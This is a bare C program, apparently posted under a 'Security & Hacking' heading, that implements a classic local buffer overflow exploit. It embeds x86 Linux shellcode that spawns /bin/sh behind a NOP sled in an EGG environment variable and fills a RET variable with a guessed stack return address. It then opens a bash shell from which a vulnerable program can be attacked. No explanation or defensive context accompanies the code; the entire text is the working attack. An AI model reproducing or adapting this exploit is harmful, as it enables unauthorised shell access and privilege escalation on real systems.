Security & Hacking

#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] = "\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
         __asm__("movl %esp,%eax");
}
int main(int argc, char *argv[]) {
        char *buff, *ptr, *egg;
        long *addr_ptr, addr;
        int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
        int i, eggsize=DEFAULT_EGG_SIZE;
        if (argc > 1) bsize = atoi(argv[1]);
        if (argc > 2) offset= atoi(argv[2]);
        if (argc > 3) eggsize = atoi(argv[3]);

        if (!(buff = malloc(bsize))) {
                printf("Can't allocate memory.\n");
                exit(0);
        }
        if (!(egg = malloc(eggsize))) {
                printf("Can't allocate memory.\n");
                exit(0);
        }
        addr = get_esp() - offset;
        printf("Using address: 0x%x\n", addr);
        ptr = buff;
        addr_ptr = (long *)ptr;
        for (i = 0; i < bsize; i+=4) {
                if(i == 1040) {
                        *(addr_ptr++) = 0x1234567;
                } else {
                        *(addr_ptr++) = addr;
                }
        }

        ptr = egg;
        for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
                *(ptr++) = NOP;
        for (i = 0; i < strlen(shellcode); i++)
                *(ptr++) = shellcode[i];
        buff[bsize - 1] = '\0';
        egg[eggsize - 1] = '\0';
        memcpy(egg,"EGG=",4);
        putenv(egg);
        memcpy(buff,"RET=",4);
        putenv(buff);
        system("/bin/bash");
}

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